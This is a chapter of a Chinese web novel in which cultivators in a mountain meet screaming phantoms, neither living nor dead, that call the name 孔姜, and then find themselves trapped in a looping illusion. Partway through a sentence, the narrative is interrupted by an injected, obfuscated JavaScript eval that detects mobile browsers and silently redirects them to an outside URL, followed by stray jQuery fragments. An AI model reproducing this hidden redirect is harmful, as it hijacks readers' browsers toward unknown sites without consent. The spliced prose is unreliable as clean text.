48. 不是死的也不是活的
作品:《盘活宿敌才能升级怎么办》 “我们之前进山出现过这种情况吗?”
令狐双一晚上没睡,四周分明能感觉到异动,但是当她放开神识,却感受不到一丝生灵的气息。第二天一早,她就勾着邬稞的肩膀复盘上一次来彀山的场景。
“你是说上次我们不眠不休赶路七天吗?”
邬稞淡淡白了她一眼,眼下一段乌青。原本她的皮肤就是死白死白的,这段乌青看起来更吓人了。昨晚她也没休息好,虽然不影响精力,但是很影响心情。
邬稞伸手从令狐双的口袋里摸出空间法器,掏了瓶酒灌了一口。
令狐双掰过瓶身一看度数,换成水能把令狐双烫死。
令狐双:……
行吧。上一次来光顾着赶路,根本没休息,更别说发现什么了。她接过令狐双手里的指南针,趁着其他人还在收拾东西校准方向。
接下来七八天,一切如常,偶尔窸窸窣窣的声音还是会出现,但是当有人上前要去探查时,又悄然消失。
令狐双编鬼故事吓唬苏况和祝好,两人大晚上吓得不敢睡觉。
好像令狐双和邬稞在第一晚感觉到的异常都只是错觉,一行人都是顺着这个指南针的指引走,一路上山山水水美不胜收,听取哇声一片。
第八天傍晚,此时已经深入彀山,一行人找到了一片瀑布,在这搭帐篷宿营。
“呼,还是山里空气好,感觉进来几天脑子都清醒了。”祝好感叹,掬了一捧水洗脸,洗完了就往守在她旁边的玉傀儡身上泼。
苏况自己削了两个个鱼叉,站在下游的位置扎鱼。
祝好拿上手试了试,一条没中,噔噔噔转战到瀑布下面,没一会儿就被水花溅得连头发丝都湿透了,令狐双看见她放开了撒欢,提醒道:“看着点旁边,身上带驱虫药了吗?水边上有蚂蟥!”
“什!么?”
瀑布的声音震耳欲聋,祝好大声回复。
“我说!蚂蟥!!!”令狐双喊,还没等她的声音掉在地上,就听见瀑布下面传来一声巨大的惨叫。
还在忙活的几人瞬间站起身来,翟暇时几乎是瞬间就闪到了祝好身边,快得令狐双几乎都没有看清她到底是怎么动作的。
令狐双:到底谁是病西子?
“怎么了?”翟暇时的气息乱了,她皱着眉,抱着祝好迅速走到了下游安营扎寨的浅滩,给了玉傀儡一个眼神,后者没有跟上来,而是回到了瀑布之下。
看见翟暇时陡然出现在面前,祝好如同看见救世主一般紧紧抱在了她身上,眼眶里的眼泪碎珠子似得往下掉,整个人都控制不住地在抖,看上去像是受了什么惊吓。
“怎么了这是?”令狐双围了上来。
祝好气儿还没有喘平,手指死死揪住翟暇时的前襟,骨节都攥的发白,能很清楚听到她狂跳不止的心脏。
“我……我看见……”
她的话说得断断续续的,不成章不成句,翟暇时捏了捏她的眉心,令狐双能感觉到有一股微弱的灵气逸散在空气中,片刻之后,祝好便诡异地镇定下来。
在反复确认那一股灵气没有危险之后,令狐双的瞳孔轻轻颤了颤。
她还会控制心神?
“你看见什么了?”翟暇时安抚着她问。
令狐双的手搭在祝好的肩膀上,她渐渐暖和起来,被打湿得一绺一绺的头发也渐渐被烘干。
“……鬼……有鬼!!!”
她猛然抱住翟暇时,大口喘着粗气。令狐双看了一眼邬稞,后者点了点头,带着苏况往瀑布底下去。
“是什么样的鬼?”
“好多鬼,他们要来抓我,他们一直在喊一个名字,喊着就冲我过来了。”祝好深呼了一口气,扣着指甲默默流眼泪,“我好久没看见那些东西了,不是不会有了吗,怎么……怎么还有啊……”
混沌造物乃是大凶中的大凶,邪祟之类天然就会避开她,自从翟暇时来到异管局之后,祝好一天二十四个小时有二十三个小时都和她黏在一起,连翟玖都吃醋,哪里还能看见个鬼的影子。
原本彀山里就不大安宁,她当时离翟暇时又远,自然能看到点东西。
“你说他们有喊一个名字,是哪个名字,听清楚了吗?”翟暇时抱着她问,恰好在此时,玉傀儡那边一阵异动,透过玉傀儡的“眼睛”,翟暇时几乎是瞬间就看见了方才祝好看见的一切。
在祝好哆哆嗦嗦开口之后,翟暇时的也在心里念出了那个名字。
孔姜。
“孔姜。”
“发现什么了吗?”令狐双抬头,邬稞,苏况,还有那只玉傀儡已经往回走了。
“没有。”邬稞答。
“会不会是祝好看错了?”苏况挠了挠后脑,“我们在那里确实是什么都没发现,连个鬼影都没看到,检查过了,也没有戾气之类的气息。”
祝好一愣:“什、什么都没有吗?”
令狐双垂眸,要是别人还有可能看错,但是祝好不会,阴阳眼能看见一切有无之物,更何况她还开了天眼。
“你先平复一下,邬稞,苏况,抄家伙,待会儿我们一起去看一遍。”
祝好看看令狐双看看翟暇时,嘴唇嗫嚅:“还要再去、去吗?……那,那去看看?”
她捏着翟暇时的衣角,几个人陪着她一起往瀑布底下走,随着几人的靠近,飞流直下的泉水迅速将进入身上的衣服溅湿,浑身上下无一处不充斥着冷意,等到逐渐道了祝好方才站的那个位置,几人已经浑身湿透了。
“你还能看……”
苏况的话还没有说完,就见祝好拼了命地捂住了耳朵往翟暇时的身后躲,后者迅速将她进自己身后,带她往后撤了好几步。
“只有她能听见?”令狐双的本命剑从脊骨中抽了出来,蓄势待发。
翟暇时点了点头,随着越来越靠近这一出断崖,翟暇时的眼前也出现了不一样的景象。
“是什么东西?”令狐双环顾四周,“你能听见吗?”
翟暇时顿了顿,反问:“你想听见吗?”
她冲几人招了招手,示意其余几人搭上她的手。就在手搭上的瞬间,一阵几乎尖厉的声音几乎要穿破几人的耳膜,只一会所有人都清楚地听到了虚影口中喊的是什么了。
孔姜。
那些身着不知道几时的衣物的虚影,蓬头垢面,脸上被绿色的草叶覆盖,看不清五官和神色。
他们纷纷从水滩里跑出来,从地里长出来,飞快往几人靠近,类似嘴巴的位置撕裂开一个大洞,长长的藤蔓从那个大洞里面生长出来,就像是口诛笔伐时那根舌头。
那些虚影异口同声,只喊出了一个名字——
孔姜!
孔姜!!
孔姜!!!!
几乎是同时,令狐双瞬间出手,一道带着厉色的火焰就朝着鬼哭的劈砍之处席卷而去,然而还没等到剑身碰到那些虚影,瀑布悬崖之下就已经空无一物。
虚影瞬间向后退散,发出的声音也渐渐变了腔调,先前只是一味地叫着“孔姜”“孔姜”,现在变成了词不成词句不成句的“来啊”“过来”之类的话语。
他们穿梭在渐渐暗下来的丛林之间,尖锐的“呜呜”声充斥在耳畔,令狐双先要用剑,然而距离上一时间难以够到,一旦放开搭在翟暇时手上的手,眼前的虚影又即刻不见。
“邬稞!!!”
林间千镖同动,迅速直冲那些如从鬼魅一般的黑影而去,然而只听见暗镖掠起时带过的风声,丝毫不见那些虚影受损。
不仅不见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536218|186564||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虚影受损,反而越来越多,山间的树好像也不正常起来,植物拔地而起,露出根系,根系之下,露出一张张腐烂的人脸。
邬稞瞳孔一颤。
翟暇时闭了闭眼,祝好被吓得不轻,同样受损的还有那只玉傀儡,只不过玉傀儡倒是没什么反应,因为所有的不适都反哺到了翟暇时的身上。
此时此刻,她的灵府中如同翻江倒海,头痛欲裂,连灵府上痊愈了的伤痕都隐隐作痛起来。
好浓烈的欲望,翟暇时闷哼了一声,太阳穴传来一阵短暂的晕眩,眼前罕见出现了幻觉,她似乎看到了有什么人倒在了悬崖的底下的积水潭里,鲜血染红了潺潺的流水。
她睁大眼睛去看幻觉中那长脸,却发现和祝好的如出一辙,顿时惊醒。
“先停手。”她喝道。
“你怎么样?”令狐双看她脸色不对,连忙扶了她一把。
“我没事,就是有点心悸。”翟暇时平复呼吸,转而将祝好的脸按进了自己怀里。搭在她身上的手挪开,令狐双等三人的耳边又重归于寂静。
翟暇时揽着祝好,不知道从什么地方撕下来条布带遮住了祝好的眼睛和耳朵。她咬破指尖,用鲜血在白布条上画了两个错号,又滴了两滴血液在她的耳垂上。
邬稞问:“这样她就听不到了吗?”
“嗯。”翟暇时淡声答应,这样祝好的感官就转移到了翟暇时的身上。
“这里怎么会有这么多鬼?”苏况心有余悸。
“不是鬼。”翟暇时摇了摇头。
邬稞道:“感知到鬼气。”
片刻后,她补了一句:“和第一天晚上一样。”
和第一天晚上一样,周遭发生异动时,令狐双既没有探查到一丝生气,邬稞和苏况也没有探查到一丝死气。
有灵的生物如果简单粗暴地分为两类,那就是死的或者活的。而刚才看到的那些东西,既不是活的也不是死的,世界上哪有这样的东西?
然而刚刚那些虚影又是几人明明白白看到的,不仅看到了,数量还如此庞大,数量极大就算了,两方甚至交手了。
着实诡异。
“这里有点古怪,不宜久留,现在天色还没有完全暗下来,我们再往前走。”
令狐双当机立断。
怀里的祝好缩了缩,失去视觉和听觉,她只能紧紧依靠翟暇时,手指一会儿都不敢放开,这时翟暇时冲玉傀儡招了招手,将祝好横打抱起放进玉傀儡的怀里。
“照顾好她。”翟暇时嘱咐,拍了拍玉傀儡的肩膀。
一路上,五人都显得格外沉默,眼前的情况显然是谁没有预料到的,令狐双翻看着一切的通讯设备试图联系符悯,然而万一例外都是没有结果。
古旧的罗盘晃晃悠悠着指明方向,按照原计划,只要一直沿着图纸走就能到彀山训练场,而眼下,只要一直往南走即可。
山里的景色尤其相似,虽然邬稞和苏况沿路都有留下记号,然而还是不可避免地辨认不清路线,在转过一颗参天古树之后,几人眼前又出现了一道瀑布。
瀑布旁边的浅滩上还有刚刚他们宿营的痕迹。令狐双皱眉,带着几人走了和离开时相反的一条路,却不想在半个小时后,水声簌簌,一条瀑布又跃然眼前。
还是刚才那一条。
令狐双冷笑,目光在之间幽深的暮色中扫视。
这是进套了。
翟暇时忽然蹲下,拨开地上的草叶,拔起地上的一株叫不上名字的植物仔细观察根系,头灯的光打在连根带起的泥土上,可以很清楚看见这一片植物都是很明显的块状根,要是不仔细看,甚至会以为是人的头骨。
她没有作声,将那株草又埋了回去。
翟暇时后知后觉,这是一个障。

